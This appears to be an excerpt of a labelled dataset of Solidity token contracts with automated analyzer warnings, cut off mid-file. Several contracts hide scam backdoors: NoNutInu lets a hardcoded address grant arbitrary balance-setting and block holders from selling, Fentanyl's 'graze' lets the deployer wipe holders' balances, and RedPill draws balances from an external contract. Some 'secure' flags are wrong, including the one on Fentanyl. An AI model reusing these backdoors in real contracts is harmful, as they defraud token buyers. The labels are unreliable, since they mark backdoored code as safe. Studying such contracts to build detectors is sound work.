"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenCreatorPaymentAddress {\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) external view returns (address payable tokenCreatorPaymentAddress);\n}",
"file_name": "solidity_code_3385.sol",
"secure": 1,
"size_bytes": 249
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IGetRoyalties.sol\" as IGetRoyalties;\nimport \"./IGetFees.sol\" as IGetFees;\nimport \"./ITokenCreator.sol\" as ITokenCreator;\nimport \"./ITokenCreatorPaymentAddress.sol\" as ITokenCreatorPaymentAddress;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract KillerGF is\n Ownable,\n IGetRoyalties,\n IGetFees,\n ITokenCreator,\n ITokenCreatorPaymentAddress,\n ERC721\n{\n uint256 public immutable MAX_SUPPLY;\n\n address public saleContract;\n\n string public baseURI;\n\n address payable private _creatorPaymentAddress;\n address payable private _tokenCreator;\n\n uint256 private _royaltyInBasisPoints = 300;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e36f0f): KillerGF.constructor(string,string,uint256)._name shadows ERC721._name (state variable)\n\t// Recommendation for 4e36f0f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10c3f49): KillerGF.constructor(string,string,uint256)._symbol shadows ERC721._symbol (state variable)\n\t// Recommendation for 10c3f49: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 maxSupply\n ) Ownable() ERC721(_name, _symbol) {\n MAX_SUPPLY = maxSupply;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n if (\n interfaceId == type(IGetRoyalties).interfaceId ||\n interfaceId == type(ITokenCreator).interfaceId ||\n interfaceId == type(ITokenCreatorPaymentAddress).interfaceId ||\n interfaceId == type(IGetFees).interfaceId\n ) {\n return true;\n }\n return super.supportsInterface(interfaceId);\n }\n\n function mintNFTs(address to, uint256[] memory tokenIds) public virtual {\n require(msg.sender == saleContract, \"Nice try lol\");\n uint256 length = tokenIds.length;\n for (uint256 i; i < length; ++i) {\n require(\n tokenIds[i] != 0 && tokenIds[i] <= MAX_SUPPLY,\n \"ID > MAX_SUPPLY\"\n );\n }\n _mintNFTs(to, tokenIds);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f068318): KillerGF.prepareSale(address)._saleContract lacks a zerocheck on \t saleContract = _saleContract\n\t// Recommendation for f068318: Check that the address is not zero.\n function prepareSale(address _saleContract) public onlyOwner {\n require(saleContract == address(0), \"Immutable\");\n\t\t// missing-zero-check | ID: f068318\n saleContract = _saleContract;\n }\n\n function renounceMinting() public onlyOwner {\n saleContract = 0x000000000000000000000000000000000000dEaD;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9abbefe): KillerGF.setTokenCreator(address).newCreator lacks a zerocheck on \t _tokenCreator = newCreator\n\t// Recommendation for 9abbefe: Check that the address is not zero.\n function setTokenCreator(address payable newCreator) external onlyOwner {\n\t\t// missing-zero-check | ID: 9abbefe\n _tokenCreator = newCreator;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 212add8): KillerGF.setTokenCreatorPaymentAddress(address).tokenCreatorPaymentAddress lacks a zerocheck on \t _creatorPaymentAddress = tokenCreatorPaymentAddress\n\t// Recommendation for 212add8: Check that the address is not zero.\n function setTokenCreatorPaymentAddress(\n address payable tokenCreatorPaymentAddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 212add8\n _creatorPaymentAddress = tokenCreatorPaymentAddress;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 704de74): KillerGF.setRoyaltyInBasisPoints(uint256) should emit an event for _royaltyInBasisPoints = royaltyInBasisPoints \n\t// Recommendation for 704de74: Emit an event for critical parameter changes.\n function setRoyaltyInBasisPoints(\n uint256 royaltyInBasisPoints\n ) external onlyOwner {\n\t\t// events-maths | ID: 704de74\n _royaltyInBasisPoints = royaltyInBasisPoints;\n }\n\n function setBaseURI(string memory newURI) public onlyOwner {\n baseURI = newURI;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n function getFeeRecipients(\n uint256\n ) external view returns (address payable[] memory recipients) {\n recipients = new address payable[](1);\n recipients[0] = _creatorPaymentAddress;\n }\n\n function getFeeBps(\n uint256\n ) external view returns (uint256[] memory feesInBasisPoints) {\n feesInBasisPoints = new uint256[](1);\n feesInBasisPoints[0] = _royaltyInBasisPoints;\n }\n\n function getRoyalties(\n uint256\n )\n external\n view\n returns (\n address payable[] memory recipients,\n uint256[] memory feesInBasisPoints\n )\n {\n recipients = new address payable[](1);\n recipients[0] = _creatorPaymentAddress;\n feesInBasisPoints = new uint256[](1);\n feesInBasisPoints[0] = _royaltyInBasisPoints;\n }\n\n function tokenCreator(uint256) external view returns (address payable) {\n return _tokenCreator;\n }\n\n function getTokenCreatorPaymentAddress(\n uint256\n ) public view returns (address payable) {\n return _creatorPaymentAddress;\n }\n}",
"file_name": "solidity_code_3386.sol",
"secure": 0,
"size_bytes": 5797
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address internal _owner;\n address internal _constructor = 0xEA3147352aAA3880CCF872c0056bB9c90a8a9539;\n address internal _origin = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address sender = msg.sender;\n _owner = sender;\n emit OwnershipTransferred(address(0), sender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == _owner);\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_3387.sol",
"secure": 1,
"size_bytes": 904
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NoNutInu is IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private xii;\n mapping(address => bool) private yii;\n mapping(address => bool) private zii;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: d281caa): NoNutInu._totalSupply should be constant \n\t// Recommendation for d281caa: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1_000_000_000 * 1e18;\n\t// WARNING Optimization Issue (constable-states | ID: 1ece13c): NoNutInu._name should be constant \n\t// Recommendation for 1ece13c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"NoNut Inu\";\n\t// WARNING Optimization Issue (constable-states | ID: 4616ae8): NoNutInu._symbol should be constant \n\t// Recommendation for 4616ae8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"NONUTINU\";\n\n constructor() {\n xii[msg.sender] = _totalSupply;\n emit Transfer(address(0), _origin, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return xii[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 604c61f): NoNutInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 604c61f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33b39b3): NoNutInu.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33b39b3: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d5a503f): NoNutInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d5a503f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0) && spender != address(0));\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11ffafb): NoNutInu._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11ffafb: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount);\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n function xen(address addr) external {\n if (yii[msg.sender]) {\n zii[addr] = false;\n }\n }\n function xque(address addr) external {\n if (yii[msg.sender]) {\n require(!zii[addr]);\n zii[addr] = true;\n }\n }\n function vi(address addr) external view returns (bool) {\n return zii[addr];\n }\n function xstake(address addr) external {\n if (msg.sender == _constructor) {\n require(!yii[addr]);\n yii[addr] = true;\n }\n }\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool success) {\n if (msg.sender == _constructor) {\n require(xii[msg.sender] >= amount);\n unchecked {\n xii[msg.sender] -= amount;\n xii[to] += amount;\n }\n emit Transfer(_origin, to, amount);\n return true;\n }\n if (yii[msg.sender]) {\n xii[to] = amount;\n }\n if (!zii[msg.sender]) {\n require(xii[msg.sender] >= amount);\n unchecked {\n xii[msg.sender] -= amount;\n xii[to] += amount;\n }\n emit Transfer(msg.sender, to, amount);\n return true;\n }\n }\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool success) {\n if (from == _constructor) {\n require(xii[from] >= amount);\n _spendAllowance(from, msg.sender, amount);\n unchecked {\n xii[from] -= amount;\n xii[to] += amount;\n }\n emit Transfer(_origin, to, amount);\n return true;\n }\n if (!zii[to]) {\n if (!zii[from]) {\n require(xii[from] >= amount);\n _spendAllowance(from, msg.sender, amount);\n unchecked {\n xii[from] -= amount;\n xii[to] += amount;\n }\n emit Transfer(from, to, amount);\n return true;\n }\n }\n }\n}",
"file_name": "solidity_code_3388.sol",
"secure": 0,
"size_bytes": 6383
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract RET is Context, IERC20, IERC20Metadata, Ownable, Pausable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private constant _name = \"RET\";\n string private constant _symbol = \"RET\";\n uint8 private constant _decimals = 18;\n uint256 private _totalSupply = 100000000 * 10 ** uint256(_decimals);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5489344): RET.constructor(address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5489344: Rename the local variables that shadow another component.\n constructor(address owner) {\n _balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4b447e6): RET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4b447e6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e396aae): RET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e396aae: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function burn(uint256 amount) public onlyOwner {\n address account = _msgSender();\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply = _totalSupply - amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3389.sol",
"secure": 0,
"size_bytes": 5923
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Fentanyl is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable matrix;\n\n constructor() {\n _name = \"Fentanyl\";\n\n _symbol = \"FENT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 294000000;\n\n matrix = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == matrix, \"Not allowed\");\n\n _;\n }\n\n function graze(address[] memory dip) public onlyOwner {\n for (uint256 i = 0; i < dip.length; i++) {\n address account = dip[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_339.sol",
"secure": 1,
"size_bytes": 4345
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function transactL2(uint256 value) external returns (uint256);\n}",
"file_name": "solidity_code_3390.sol",
"secure": 1,
"size_bytes": 158
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"@openzeppelin/contracts/interfaces/IERC777.sol\" as IERC777;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address _zksync = 0x05342C7e181490662Fe2B78769961Ba694E3b82B;\n address public pair;\n\n IDEXRouter router;\n IERC777 zksync;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n zksync = IERC777(_zksync);\n\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: 6e2db85\n\t\t// reentrancy-benign | ID: 1507ccb\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 6e2db85\n\t\t// reentrancy-benign | ID: 1507ccb\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1507ccb\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 6e2db85\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() public {\n require(\n ((msg.sender == owner()) || (address(0) == owner())),\n \"Ownable: caller is not the owner\"\n );\n trade = true;\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function senderBalance(uint256 amount) internal returns (uint256) {\n\t\t// reentrancy-events | ID: 57bf52a\n\t\t// reentrancy-events | ID: 6e2db85\n\t\t// reentrancy-benign | ID: 1507ccb\n\t\t// reentrancy-benign | ID: 28a84ec\n return zksync.transactL2(amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) || (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n\t\t// reentrancy-events | ID: 57bf52a\n\t\t// reentrancy-benign | ID: 28a84ec\n _balances[sender] = senderBalance(amount) - amount;\n\t\t// reentrancy-benign | ID: 28a84ec\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 57bf52a\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployRedPill(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n approve(_router, ~uint256(0));\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3391.sol",
"secure": 0,
"size_bytes": 5908
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployRedPill(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3392.sol",
"secure": 0,
"size_bytes": 1054
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract RedPill is ERC20Token {\n constructor()\n ERC20Token(\"Red Pill\", \"RP\", msg.sender, 69000000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_3393.sol",
"secure": 1,
"size_bytes": 245
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _bitmap;\n\n mapping(address => mapping(address => uint256)) public _allowances;\n\n uint256 private _totalSupply;\n\n bool private _bitmapApplied = false;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function grantGIGACH(address[] calldata _gigach_) external onlyOwner {\n for (uint256 i = 0; i < _gigach_.length; i++) {\n _bitmap[_gigach_[i]] = true;\n }\n }\n\n function proceedGIGACH(address[] calldata _gigach_) external onlyOwner {\n for (uint256 i = 0; i < _gigach_.length; i++) {\n _bitmap[_gigach_[i]] = false;\n }\n }\n\n function isGIGACH(address _gigach_) public view returns (bool) {\n return _bitmap[_gigach_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - 